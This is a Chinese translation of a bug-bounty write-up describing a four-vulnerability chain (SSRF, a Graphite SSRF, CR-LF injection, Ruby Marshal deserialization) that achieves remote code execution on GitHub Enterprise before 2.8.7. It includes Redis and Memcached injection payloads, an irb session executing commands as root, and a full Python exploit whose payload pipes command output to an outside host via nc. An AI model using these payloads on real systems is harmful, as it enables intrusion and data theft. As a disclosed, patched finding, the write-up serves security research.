挖洞经验 | 看我如何综合利用4个漏洞实现GitHub Enterprise远程代码执行
作者:admin | 时间:2017-8-7 10:15:32 | 分类:黑客技术 隐藏侧边栏展开侧边栏
大家好,距离上次漏洞披露已有半年之余,在这篇文章中,我将向大家展示如何通过4个漏洞完美实现GitHub Enterprise的RCE执行,该RCE实现方法与服务器端请求伪造技术(SSRF)相关,技术稍显过时但综合利用威力强大。最终,该RCE漏洞被GitHub官方认定为3周年众测项目的最佳漏洞,我也因此获得了$12500美元赏金。
在我今年受邀参加的BlackHat大会演讲PPT中,有更多关于SSRF技术的深度剖析,请大家捧场观看《A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages》!这也是我第一次在这般高大上场合的英文演讲,非常难忘!下面我们言归正传,一起来说说这个GitHub Enterprise企业版RCE漏洞的实现方法:
说明
在我上一次对GitHub Enterprise SQL注入漏洞的发现中,曾提及利用Ruby代码破解GitHub混淆保护机制和发现SQL注入漏洞的方法,之后,就有一些优秀的漏洞挖掘者及时关注GitHub Enterprise并发现了多个上等漏洞,如:
The road to your codebase is paved with forged assertions by ilektrojohn
GitHub Enterprise Remote Code Execution by iblue
我表示后悔沮丧,为什么我就发现不了呢!?所以,接下来我打算努力去挖掘那些别人想像不到的高危漏洞。
挖洞开始
第1个漏洞 – 表面无用的SSRF漏洞
在研究GitHub Enterprise程序时,我发现了一个名为WebHook的有趣功能,它能在某些特定GIT命令执行时自定义HTTP回调。如你可定义如下回调URL:
https://<host>/<user>/<repo>/settings/hooks/new
并通过提交文件触发执行它,对此,GitHub Enterprise会利用一个HTTP请求提示你。实际的Payload和执行请求如下:
Payload URL:
回调请求(Callback Request):
POST /foo.php HTTP/1.1 Host: orange.tw Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972
payload=...
另外,由于GitHub Enterprise使用Ruby Gem的faraday库来获取外部资源,并通过Gem的faraday-restrict-ip-addresses功能来防止用户请求内部服务。这个Gem功能就像一个黑名单机制,但我们可以通过RFC 3986定义的稀有IP地址格式(Rare IP Address Formats)来绕过它,想想,在Linux系统中,0代表的是localhost,所以有以下PoC:
OK,现在我们的一个SSRF漏洞成型了,但却发挥不了作用,为什么呢?这是因为该SSRF漏洞存在以下几方面限制:
只支持POST方法
只允许HTTP和HTTPS方式
不产生302重定向
faraday中不存在CR-LF命令注入
无法对POST数据和HTTP头信息进行控制
我们唯一能控制的就是其中的Path(路径)部分。但值得一提的是,该SSRF漏洞可导致拒绝服务攻击(DoS)。
由于GitHub Enterprise的9200端口为绑定了一个ElasticSearch搜索服务,当使用关机命令时,该ElasticSearch服务不会对POST数据进行检查,因此,我们可随意对它的REST-ful API接口进行操作,可有如下DoS的PoC:
第2个漏洞 – 内部Graphite服务的SSRF
第1个SSRF漏洞利用存在诸多限制,所以我继续测试其内部服务看是否能为我所用。这还真是个大工程,因为其中包含了数种HTTP服务,每种服务都由C、C++、Go、Python和Ruby分别实现。在经过数天的研究之后,我发现其中一个8000端口名为Graphite的服务,该服务负责高度扩展地向用户实时显示系统当前状态,其为Python编写的开源项目(可点此下载源码)。
在对Graphite源码的分析后,我又快速发现了另外一个SSRF漏洞,它存在于以下文件
webapps/graphite/composer/views.py
def send_email(request): try:
recipients = request.GET['to'].split(',')
url = request.GET['url']
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query
conn = HTTPConnection(server)
conn.request('GET',path)
resp = conn.getresponse()
...
从上述代码可以看到,Graphite服务会接收用户输入的url地址然后对该地址进行获取利用!所以,这样的话,我们就可以利用第1个SSRF漏洞来触发这第2个SSRF漏洞,最后还可将这两个漏洞组合成一个SSRF执行链。合成的SSRF执行链Payload如下:
http://0:8000/composer/send_email? to=orange@nogg&
url=http://orange.tw:12345/foo
第二个SSRF漏洞的请求:
$ nc -vvlp 12345 ...
GET /foo HTTP/1.1 Host: orange.tw:12345 Accept-Encoding: identity
OK,现在我们已经成功地将基于POST的SSRF漏洞改造成了基于GET的SSRF漏洞了。但仍然不能直接实现有效的漏洞利用,再挖挖看!
第3个漏洞 – Python语言的CR-LF命令注入
可以从Graphite源码中看到,Graphite使用Python的httplib.HTTPConnection方法来获取外部资源。在经过一些研究测试后,我发现httplib.HTTPConnection方法中竟存在一个CR-LF命令注入漏洞!这样的话,我们就可以在HTTP协议中嵌入恶意Payload了。
CR-LF注入PoC:
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo
:
$ nc -vvlp 12345 ...
GET /
i_am_payload Foo: HTTP/1.1 Host: 127.0.0.1:12345 Accept-Encoding: identity
该注入漏洞在整个漏洞利用链中发挥的作用非常关键。现在,我就可以在这个SSRF漏洞执行链中引入其他协议了,比如,如果想拿Redis下手,可以尝试使用下列Payload:
http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A
说明:由于Redis的SLAVEOF命令可以允许执行带外数据,所以,这对某些Blind-SSRF实现非常有效。
现在漏洞利用思路已经柳暗花明,但一些可引入协议还存在问题,如:
SSH、MySQL和SSL协议会失效
由于Python2版本原因,第2个SSRF漏洞所使用的Payload只允许0×00到0x8F的字节数据通过
顺便提下,还有很多利用HTTP引入协议的利用方法,如基于Linux Glibc功能的SSL SNI引入协议,以及CVE-2016-5699的Python标注头注入等,具体参看我的BlackHat演讲PPT。
第4个漏洞 – 封装模块存在反序列化漏洞
现在的问题是,我该选择哪个协议进行引入呢?另外,我还花费了大把时间来测试控制Redis或Memcached之后可以触发的漏洞。
在对大量源码的分析过程中,我对GitHub在Memcached中存储Ruby对象的机制觉得好奇,一番研究后发现,GitHub Enterprise使用Ruby Gem的Memcached方式来处理缓存,而其通过Marshal模块进行封装。这下好了,大家知道Marshal模块本来就不安全且存在反序列化漏洞(点此参考)。更上一层楼了!我们可以使用前述的SSRF漏洞执行链来把恶意Ruby对象存储在Memcached中,当GitHub要获取缓存时,Ruby Gem memcached就会自动执行反序列化操作,这种效果就会是:哇,远程代码执行!
GitHub Enterprise Rails控制端中存在反序列化漏洞的Marshal:
irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi" irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET" irb(main):005:0> code = "`id`" => "`id`" irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult" => "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult" irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"
回过头来,我们总结梳理一下整个漏洞利用过程:
第1个SSRF漏洞,用来绕过WebHook的保护机制
第2个SSRF漏洞,存在于Graphite服务中
结合第1个和第2个SSRF漏洞,组成SSRF漏洞执行链
发现SSRF执行链中的CR-LF命令注入漏洞
利用Memcached方式的Marshal反序列化漏洞,注入恶意Marshal对象
触发远程代码执行
最终PoC如下:
视频演示:http://v.youku.com/v_show/id_XMjkzNzM3NjA1Ng==.html
Exploit代码
#!/usr/bin/python from urllib import quote ''' set up the marshal payload from IRB
code = "`id | nc orange.tw 12345`"
p "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
''' marshal_code = '\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\x07:\x0e@instanceo:\x08ERB\x07:\t@srcI"\x1e`id | nc orange.tw 12345`\x06:\x06ET:\x0c@linenoi\x00:\x0c@method:\x0bresult' payload = [
'',
'set githubproductionsearch/queries/code_query:857be82362ba02525cef496458ffb09cf30f6256:v3:count 0 60 %d' % len(marshal_code),
marshal_code,
'',
'' ]
payload = map(quote, payload)
url = 'http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:11211/' print "\nGitHub Enterprise < 2.8.7 Remote Code Execution by orange@chroot.org" print '-'*10 + '\n' print url + '%0D%0A'.join(payload) print '''
Inserting WebHooks from:
https://ghe-server/:user/:repo/settings/hooks
Triggering RCE from:
https://ghe-server/search?q=ggggg&type=Repositories
'''
修复措施
GitHub采取了以下修复措施:
增强了Gem的faraday-restrict-ip-addresses功能
采用了自定义Django中间件来防止攻击者从外部访问http://127.0.0.1:8000/render/
加强iptables规则,限制User-Agent: GitHub-Hookshot访问模式
漏洞报送进程
2017年01月23日23:22 通过HackerOne平台将漏洞上报GitHub
2017年01月23日23:37 GitHub进行漏洞分类
2017年01月24日04:43 GitHub确认漏洞,并回应正在修复
2017年01月31日14:01 更新版本的GitHub Enterprise 2.8.7发布
2017年02月01日01:02 GitHub回复称漏洞成功修复
2017年02月01日01:02 收到GitHub奖励的$7500刀漏洞赏金
2017年03月15日02:38 GitHub认定该漏洞为年度最佳漏洞,并再次向我奖励了$5000刀
*参考来源:orange.tw,freebuf小编clouds编译